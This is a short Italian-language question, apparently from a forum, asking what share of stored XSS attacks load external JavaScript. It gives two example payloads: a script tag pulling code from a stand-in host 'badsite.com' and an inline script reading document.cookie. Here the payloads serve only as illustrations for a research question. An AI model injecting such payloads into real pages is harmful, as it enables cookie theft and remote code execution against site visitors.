Quale percentuale di attacchi XSS memorizzati utilizza JavaScript esterno?

Quale percentuale di attacchi XSS utilizza JavaScript esterno. Ad esempio:

<script src="http://badsite.com/maliciouscode.js"></script>

Invece di:

<script>alert(document.cookie);</script>

Qualsiasi fonte sarebbe molto apprezzata.